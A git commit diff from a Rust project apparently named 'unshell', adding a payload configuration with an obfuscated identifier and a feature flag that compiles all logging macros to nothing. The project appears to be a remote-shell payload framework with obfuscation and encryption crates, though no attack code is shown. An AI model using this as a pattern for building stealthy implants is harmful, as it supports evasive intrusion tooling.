Payload config, disable all logs feature

This commit is contained in:
Michael Mikovsky
2025-11-23 22:40:06 -07:00
parent f34ac017ce
commit 11045522b8
8 changed files with 81 additions and 10 deletions
+8 -1
View File
@@ -272,6 +272,12 @@ dependencies = [
"wasm-bindgen", "wasm-bindgen",
] ]
[[package]]
name = "lazy_static"
version = "1.5.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe"
[[package]] [[package]]
name = "libc" name = "libc"
version = "0.2.177" version = "0.2.177"
@@ -465,8 +471,9 @@ checksum = "9312f7c4f6ff9069b165498234ce8be658059c6728633667c526e27dc2cf1df5"
[[package]] [[package]]
name = "unshell-cli" name = "unshell-cli"
version = "0.1.0" version = "0.0.0"
dependencies = [ dependencies = [
"lazy_static",
"unshell-crypt", "unshell-crypt",
"unshell-lib", "unshell-lib",
"unshell-obfuscate", "unshell-obfuscate",
+1 -1
View File
@@ -1,9 +1,9 @@
[package] [package]
name = "unshell-cli" name = "unshell-cli"
version = "0.1.0"
edition = "2024" edition = "2024"
[dependencies] [dependencies]
unshell-lib = {path = "../unshell-lib"} unshell-lib = {path = "../unshell-lib"}
unshell-obfuscate = {path = "../unshell-obfuscate"} unshell-obfuscate = {path = "../unshell-obfuscate"}
unshell-crypt = {path = "../unshell-crypt"} unshell-crypt = {path = "../unshell-crypt"}
lazy_static = "1.5.0"
+16 -4
View File
@@ -1,9 +1,21 @@
use std::io::{Write, stdin, stdout}; use lazy_static::lazy_static;
use unshell_lib::{config::PayloadConfig, module::Manager};
use unshell_obfuscate::symbol;
use unshell_lib::Announcement; lazy_static! {
static ref PAYLOAD_CONFIG: PayloadConfig = PayloadConfig {
id: symbol!("Test ID"),
components: unshell_lib::get_components(),
runtime_config: vec![],
};
}
fn main() -> Result<(), Box<dyn std::error::Error>> { fn main() -> Result<(), Box<dyn std::error::Error>> {
let mut serverruntime = unshell_lib::server::ListenerRuntime::new(); unshell_lib::logger::PrettyLogger::init();
Manager::run(&PAYLOAD_CONFIG, Vec::new());
// let mut serverruntime = unshell_lib::server::ListenerRuntime::new();
// loop { // loop {
// print!("> "); // print!("> ");
@@ -33,7 +45,7 @@ fn main() -> Result<(), Box<dyn std::error::Error>> {
// // println!("{:?}", args); // // println!("{:?}", args);
// } // }
serverruntime.send(&Announcement::GetRuntimes)?; // serverruntime.send(&Announcement::GetRuntimes)?;
// let response = serverruntime. // let response = serverruntime.
+3 -2
View File
@@ -3,13 +3,14 @@ name = "unshell-lib"
edition = "2024" edition = "2024"
[features] [features]
default = ["client", "server"] default = ["client", "server", "log_debug"]
# Components # Components
client = [] client = []
server = [] server = []
log_debug = [] log = []
log_debug = ["log"]
obfuscate = ["unshell-obfuscate/obfuscate"] obfuscate = ["unshell-obfuscate/obfuscate"]
+1 -1
View File
@@ -2,7 +2,7 @@ use std::{
io::Read, io::Read,
net::TcpStream, net::TcpStream,
sync::{ sync::{
Arc, Mutex, Arc,
atomic::{AtomicBool, Ordering}, atomic::{AtomicBool, Ordering},
}, },
thread::{self, JoinHandle}, thread::{self, JoinHandle},
+1 -1
View File
@@ -41,7 +41,7 @@ macro_rules! debug {
}}; }};
($fmt:tt, $($arg:expr),*) => {{ ($fmt:tt, $($arg:expr),*) => {{
let _ = $fmt; let _ = $fmt;
let _ = ($($arg),*); $(let _ = $arg;)*
}}; }};
} }
+45
View File
@@ -0,0 +1,45 @@
// Macros that are used that just drop the inside variables
#[macro_export]
macro_rules! debug {
($fmt:tt) => {{
let _ = $fmt;
}};
($fmt:tt, $($arg:expr),*) => {{
let _ = $fmt;
$(let _ = $arg;)*
}};
}
#[macro_export]
macro_rules! info {
($fmt:tt) => {{
let _ = $fmt;
}};
($fmt:tt, $($arg:expr),*) => {{
let _ = $fmt;
$(let _ = $arg;)*
}};
}
#[macro_export]
macro_rules! warn {
($fmt:tt) => {{
let _ = $fmt;
}};
($fmt:tt, $($arg:expr),*) => {{
let _ = $fmt;
$(let _ = $arg;)*
}};
}
#[macro_export]
macro_rules! error {
($fmt:tt) => {{
let _ = $fmt;
}};
($fmt:tt, $($arg:expr),*) => {{
let _ = $fmt;
$(let _ = $arg;)*
}};
}
+6
View File
@@ -1,4 +1,10 @@
// Choose if the macros are enabled based on the feature setting
#[cfg(feature = "log")]
pub mod macros; pub mod macros;
#[cfg(not(feature = "log"))]
pub mod macros_disabled;
mod pretty_logger; mod pretty_logger;
use std::time::SystemTime; use std::time::SystemTime;